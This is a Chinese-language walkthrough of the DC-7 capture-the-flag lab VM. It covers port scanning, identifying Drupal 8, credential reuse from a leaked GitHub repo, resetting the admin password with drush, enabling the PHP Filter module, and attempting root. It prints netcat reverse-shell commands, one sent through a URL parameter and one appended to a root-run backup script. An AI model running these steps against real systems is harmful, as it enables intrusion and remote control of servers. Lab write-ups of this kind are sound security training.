DC-7


author:leadlife

data:2023/5/18

blog:https://tripse.github.io/

本次测试使用到的工具如下:

  • 信息收集:nmap、fscan、cmseek、searchsploit
  • 获取 SHELL:无
  • 暴力破解:无
  • FUZZ:无
  • 辅助工具:无
  • 权限提升:无

外部信息收集

Nmap ICMP 扫描发现主机

本地靶机 IP为 10.10.10.137

1
sudo nmap -sP 10.10.10.0/24 -T4 --min-rate 10000
1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 18:08 CST
Nmap scan report for 10.10.10.137
Host is up (0.00015s latency).
MAC Address: 08:00:27:05:5E:F0 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.254
Host is up (0.00045s latency).
MAC Address: 00:50:56:EF:7D:81 (VMware)
Nmap scan report for 10.10.10.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 0.34 seconds

Fsacn 探测开放端口

1
sudo fscan -h 10.10.10.137 -t 30 -p 0-65535
1
2
3
4
5
6
7
8
9
10
11
12
13
14
   ___                              _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 10.10.10.137 is alive
[*] Icmp alive hosts len is: 1
10.10.10.137:22 open
10.10.10.137:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle: http://10.10.10.137 code:200 len:8703 title:Welcome to DC-7 | D7

Nmap 进行详细端口扫描

1
sudo nmap -sS -sV -O -T4 --min-rate 10000 -sC 10.10.10.137 -oN namp.all
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 18:10 CST
Nmap scan report for 10.10.10.137
Host is up (0.00026s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 d002e9c75d9532ab10998984343d1ef9 (RSA)
| 256 d0d64035a734a90a7934eea96addf48f (ECDSA)
|_ 256 a855d57693ed4f6ff1f7a1842fafbbe1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-title: Welcome to DC-7 | D7
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 08:00:27:05:5E:F0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds

判断 CMS

来到 DC7 Web 页面,可以看到 CMS 位 Drupal

image-20230518181109090

CMSeek 判断 CMS 版本

image-20230518181125119

searchsploit 搜寻 cms 版本漏洞

可以看到 drupal 8 version 存在代码执行

image-20230518181227313

获取 SHELL

MSF 漏洞利用尝试

失败,其他 exp 均以尝试

image-20230518181522606

再次信息收集

发现主页存在一些信息:

image-20230518181612684

总结如下:

  • DC-7 这个靶机存在一些 “新” 的渗透概念
  • 不建议使用暴力破解,很可能失败
  • think outside,即跳出该盒子的思维

我们可以观察到一个特殊的版权信息:

image-20230518181804119

Google 全网检索一下关键字:

得到两个关键检索

image-20230518181911830

该 Github repo 很可能是源代码,download 下来看看:

image-20230518181957445

得到信息,与 DC-7 靶机验证,即为该靶机的 web 源码,如此思路如下:

  • 拿到 web 后台账户密码
  • 利用后台进行 GetSHELL

1:拿到 web 后台账户密码

image-20230518182102506

2:利用后台进行 GetSHELL

来到后台,该 URL 为登陆页面:http://10.10.10.137/user/login

image-20230518182158493

image-20230518182340047

登陆失败,转换思路:尝试密码复用去登陆 ssh

成功登陆

image-20230518182430593

内部信息收集

内核与发行版

image-20230518182539216

SUID

其中 exim4 可尝试提权

image-20230518182601533

SUDO

no sudo

1
2
dc7user@dc-7:~$ sudo -l
-bash: sudo: command not found

降权

来到 home 目录发现如下文件:

image-20230518182706456

backups:备份文件

image-20230518182905582

mbox:内容看着像一个定时备份,但是失败而保存的邮件

image-20230518182828172

查看定时任务:

无任何发现

image-20230518182947014

查看 /var/mail/ 文件,得到一个文件路径:/opt/scripts/backups.sh

image-20230518183032733

backups.sh 内容如下:

image-20230518183141761

回头分析 /var/mail 中邮件的时间,则可得知

  • 该脚本会在某一段时间自动执行且以 root 权限运行
  • 虽然我们没有找到定时任务其中的内容(无权限进入),==且对该文件没有权限去读写==,但仍然可以操作 /var/www/html 下源码来到 Web 后台,通过后台 GetSHELL,拿到 www-data 的 SHELL,从而修改该文件内容获取 root shell

image-20230518185928475

拿到账号密码,登入后台:

image-20230518190255260

仍然失败,到这里思路就断了,继续信息收集:

通过查看 /opt/scripts/backups.sh 内容,我们得到如下信息:

1
drush sql-dump --result-file=/home/dc7user/backups/website.sql

发现了 drush,利用它可修改 drupal cms 后台的账号密码:

若用户不存在会报错,所以可以直接测试任意用户:

image-20230518192141237

来到后台:

image-20230518192211215

GetSHELL 过程

思路

  • 安装 PHP Filter 模块:本地下载上传 https://www.drupal.org/project/php/releases/8.x-1.x-dev

  • 修改页面内容,则可操作 php 代码

image-20230518192615563

image-20230518192624064

image-20230518193450672

来到 Extent 开启 php filter:

image-20230518193619451

拉到最下面点击 INSTALL

image-20230518193651615

安装完后返回 Content 编辑内容,即可添加 PHP 代码

image-20230518193712980

操作反弹 SHELL:

image-20230518194250067

image-20230518194259667

image-20230518194506633

image-20230518194524050

本地监听:

1
nc -lvnp 1234

反弹:

1
http://10.10.10.137/node/5?cmd=nc%20-e%20/bin/bash%2010.10.10.1%201234

image-20230518194640776

优化 SHELL

1
2
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

权限提升

修改定时脚本文件提权

1
www-data@dc-7:/opt/scripts$ echo "nc -e /bin/bash 10.10.10.1 4321" >> backups.sh

本地监听:

1
leadlife@endeavrouOS ~/p/DC7 [1]> nc -lvnp 4321

等待回弹即可,最后却没有回弹,这里可参考网上 writeup,应当是执行环境有问题,且执行过程中验证了某些东西